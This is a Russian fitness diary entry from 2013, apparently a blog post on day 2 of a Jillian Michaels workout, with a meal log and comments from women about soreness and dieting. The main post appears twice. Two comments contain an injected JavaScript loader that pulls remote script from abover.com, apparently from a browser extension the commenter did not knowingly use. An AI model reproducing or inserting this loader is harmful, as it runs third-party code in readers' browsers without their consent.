ДМ, 2 день первого уровня.
Джиллиан МайклсНу, тут мало изменений со вчерашнего ))) Заниматься стала без какого-либо сопротивления - бежала домой с учёбы, чтоб успеть позаниматься в дневной сон Ильи. Не представляю, как буду заниматься, когда выйду на работу. Ладно дни, когда свекровь к себе будет забирать сына нянчиться с ним - тут понятно. А вот когда с ним сидит её подруга (бабулечка) - она у нас дома с ним. Естественно, пока я учусь, у меня больше свободного времени, а работать я буду до вечера и Илья мне просто не даст заниматься.... В общем, о теле деле.
Ощущения не из приятных - пока в самом разгаре мышечные боли. Вчера муж делал массаж, сегодня буду наверно уже в горячей ванной отмокать после написания отчёта. Кааак всё болит. По прошлому опыту - боль стала уходить к концу 3 суток постепенно. На 5 сутки я уже скакала радостно, как сайгак. Так что есть смысл потерпеть, тем более осознавая, какой результат меня ожидает! Отзанималась, не смотря на боль, намного легче, чем вчера. Видимо вчера подрастянулась и сегодня пошло легче. Только вот с дыханием пока проблема - задыхаюсь. но стараюсь держать свой темп - он немного медленнее, чем у девчонок на мониторе )) Надеюсь, это не сильно снизит результат.
Чем питалась...
1-й завтрак в 8.00 - каша овсяная на воде с молоком (2:1), бутерброд с сыром, 1 чашка чая
2-й завтрак в 11.00 - йогурт и банан (согрешила чашкой чая и пряником на учёбе - под разговоры с девчонками показалось йогурта с бананом маловато)
Обед в 14.00 - куриный бульон, рис+курица, тушеная с овощами (болг. перчик, помидорка, лук, морковь), 1 кусочек ржаного хлеба (половинка ломтика)
Полдник в 17.00 (сразу после тренеровки и душа - творог с мёдом, 1/2 грейпфрута
В 18.00 перекусила стаканом томатного сока - каюсь! Стоит такой в холодильнике - муж не пьёт его, сыну нельзя... Что ж, придётся мне допивать.
19.00 - ужин - брокколи, цв. капуста, морковка и куриная грудка, запечёные в кефире, в духовке. перед сном выпью стакан кефирного биомакса 1%.
Девочки - если есть какие-то комментарии по питанию - хочу выслушать. Критику или одобрение. Мне очень важно! Заранее всем спасибо и удачи тем, кто занимается своим телом!!!
Ощущения не из приятных - пока в самом разгаре мышечные боли. Вчера муж делал массаж, сегодня буду наверно уже в горячей ванной отмокать после написания отчёта. Кааак всё болит. По прошлому опыту - боль стала уходить к концу 3 суток постепенно. На 5 сутки я уже скакала радостно, как сайгак. Так что есть смысл потерпеть, тем более осознавая, какой результат меня ожидает! Отзанималась, не смотря на боль, намного легче, чем вчера. Видимо вчера подрастянулась и сегодня пошло легче. Только вот с дыханием пока проблема - задыхаюсь. но стараюсь держать свой темп - он немного медленнее, чем у девчонок на мониторе )) Надеюсь, это не сильно снизит результат.
Чем питалась...
1-й завтрак в 8.00 - каша овсяная на воде с молоком (2:1), бутерброд с сыром, 1 чашка чая
2-й завтрак в 11.00 - йогурт и банан (согрешила чашкой чая и пряником на учёбе - под разговоры с девчонками показалось йогурта с бананом маловато)
Обед в 14.00 - куриный бульон, рис+курица, тушеная с овощами (болг. перчик, помидорка, лук, морковь), 1 кусочек ржаного хлеба (половинка ломтика)
Полдник в 17.00 (сразу после тренеровки и душа - творог с мёдом, 1/2 грейпфрута
В 18.00 перекусила стаканом томатного сока - каюсь! Стоит такой в холодильнике - муж не пьёт его, сыну нельзя... Что ж, придётся мне допивать.
19.00 - ужин - брокколи, цв. капуста, морковка и куриная грудка, запечёные в кефире, в духовке. перед сном выпью стакан кефирного биомакса 1%.
Девочки - если есть какие-то комментарии по питанию - хочу выслушать. Критику или одобрение. Мне очень важно! Заранее всем спасибо и удачи тем, кто занимается своим телом!!!
Анна
Привет-привет! Вчера начала тоже заниматься, сегодня все тело болело, но занятие показалось как то легче! Давай вместе худеть) С едой тоже попробую исключить всякие вредности. сегодня еще про ПП почитаю. Хочу похудеть хотя бы на 5 кг, сейчас мой вес 70, рост 166
17.10.2013
Ответить
Юля
приветик! Присоединяйся. Я только с радостью!!! ))) Будем мотивировать друг друга ))) Я не столько кг хочу сбросить (вешу 54 при росте 162,5. До беременности мой вес был 48 и после родов от 45 постепенно вернулась к 48, ну а за последние месяцев 8 располнела), сколько убрать наплыв жировой на пузе, по бокам, на попе и бёдрах. Подтянуть тело, а потом поддерживать.
17.10.2013
Ответить
алена
девочки я уже 10 дней скачу,а мышцы только сейчас начинают болеть..но я не сдаюсь[removed](function () {
var script = document.createElement('script');
script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random() + '&v=1.0.8';
script.onload = script.onerror = function () {
script.onload = script.onerror = null;
script[removed].removeChild(script);
}
document.body.appendChild(script);
})();[removed]
16.10.2013
Ответить
Юля
А в самом начале не болели? У меня начинали заново побаливать с начала второго уровня, но недолго. При повышении нагрузки должны болеть. А что за шифровка ниже в комментарии? )))
17.10.2013
Ответить
алена
[removed](function () {
var script = document.createElement('script');
script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random() + '&v=1.0.8';
script.onload = script.onerror = function () {
script.onload = script.onerror = null;
script[removed].removeChild(script);
}
document.body.appendChild(script);
})();[removed]в самом начале чуть чуть.. а про шифровку не знаю..пишу постоянно,и постоянно вылазиет шифровка дурацкая
17.10.2013
Ответить
Яна
я сегодня третий день отскакала )) вроде легче уже, сегодня не могла присесть на унитаз)) так мышцы болели, надеюсь завтра чуть попустит))
16.10.2013
Ответить
Юля
вот-вот! На диван ещё - куда не шло - можно ползком сразу прилечь. А вот на унитаз уже не приляжешь ))) Мышцы сначала сопротивляются и не дают присесть, а потом резко расслабляются и падаешь )))
17.10.2013
Ответить